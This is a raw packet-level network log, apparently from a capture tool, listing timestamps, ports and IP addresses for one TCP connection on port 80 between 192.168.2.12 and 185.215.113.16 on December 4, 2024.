Dec 4, 2024 16:11:00.247796059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.248600006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.248646021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.248661995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.249948978 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.249998093 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.250020981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.250962973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.251023054 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.251049042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.252051115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.252101898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.252151966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.253109932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.253159046 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.253227949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.254234076 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.254273891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.254297972 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.255449057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.255505085 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.255533934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.256489992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.256537914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.256606102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.257667065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.257719994 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.257802963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.258728981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.258739948 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.258781910 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.259856939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.259907961 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.259941101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.260929108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.260983944 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.378763914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.378801107 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.378922939 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.379329920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.379436016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.379477978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.380426884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.380548954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.380590916 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.381527901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.398155928 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.398209095 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.398258924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.398271084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.398313999 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.398344994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.399538994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.399590969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.399646997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.400510073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.400569916 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.400599957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.401618004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.401664019 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.401694059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.402837038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.402849913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.402890921 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.403902054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.403944016 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.403983116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.404993057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.405045986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.405100107 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.406158924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.406210899 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.406339884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.407259941 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.407310009 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.407428980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.408385038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.408435106 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.408504963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.409513950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.409563065 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.409622908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.410604954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.410661936 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.410721064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.411765099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.411817074 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.411850929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.412985086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.413039923 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.413064957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.414043903 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.414099932 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.414169073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.415127993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.415184021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.415206909 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.416285038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.416342020 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.416430950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.417423964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.417495012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.417504072 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.418509007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.418565035 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.418628931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.419655085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.419694901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.419702053 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.421658039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.421672106 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.421746969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.421888113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.421927929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.422025919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.423007965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.423044920 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.423144102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.424149990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.424221039 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.424257994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.425255060 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.425297022 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.425375938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.426433086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.426481009 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.426515102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.427598953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.427647114 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.427654982 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.428623915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.428673029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.428842068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.429786921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.429841995 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.429876089 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.430902958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.430949926 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.430973053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.432023048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.432065010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.432126045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.433140993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.433182955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.433233023 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.434273005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.434334993 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.434357882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.435435057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.435484886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.435553074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.436569929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.436610937 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.436662912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.437650919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.437699080 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.437762976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.438775063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.438828945 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.438904047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.439949989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.440056086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.440057039 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.441091061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.441103935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.441138029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.442130089 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.442178011 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.442205906 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.443259001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.443300962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.443378925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.444391012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.444438934 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.444542885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.445558071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.445600986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.445606947 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.446729898 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.446770906 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.446860075 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.447868109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.447907925 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.447923899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.448946953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.448987007 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.449065924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.450041056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.450067043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.450095892 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.451375008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.451421022 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.451502085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.452450991 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.452488899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.452529907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.452564001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.453361988 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.453408003 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.460710049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.571079969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.571147919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.571233988 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.571576118 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.571710110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.571755886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.572710037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.572817087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.572856903 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.573849916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.591161966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.591192007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.591223955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.591758966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.591804981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.591840029 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.592474937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.592525005 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.592534065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.593606949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.593656063 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.593687057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.594690084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.594743013 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.594916105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.595829010 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.595876932 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.595932961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.596983910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.597034931 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.597039938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.598071098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.598120928 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.598198891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.599265099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.599320889 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.599442005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.600389957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.600441933 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.600465059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.601589918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.601632118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.601723909 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.602572918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.602615118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.602653027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.603714943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.603760004 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.603823900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.604855061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.604923964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.604948044 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.605968952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.606024981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.606045961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.607203007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.607215881 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.607249975 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.608211040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.608261108 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.608305931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.609395027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.609436035 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.609461069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.610476971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.610516071 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.610580921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.611622095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.611664057 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.611691952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.612747908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.612792015 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.612828970 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.613820076 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.613883972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.613888025 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.614970922 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.615014076 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.615792036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.616146088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.616219997 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.616259098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.617233992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.617280006 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.617544889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.618335962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.618376017 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.618446112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.619577885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.619622946 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.619628906 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.620588064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.620671034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.620692015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.621717930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.621761084 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.621794939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.622817993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.622832060 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.622857094 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.623960018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.624059916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.624088049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.625053883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.625102043 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.625194073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.626243114 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.626291037 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.626359940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.627389908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.627475977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.627476931 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.628473997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.628518105 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.628576994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.629614115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.629658937 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.629720926 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.631462097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.631474972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.631546021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.631907940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.631921053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.631958008 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.634102106 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.634116888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.634196043 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.635158062 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.635170937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.635204077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.635446072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.635510921 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.635580063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.636639118 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.636651039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.636682034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.637590885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.637629986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.637770891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.637907028 CET	49724	80	192.168.2.12	185.215.113.16
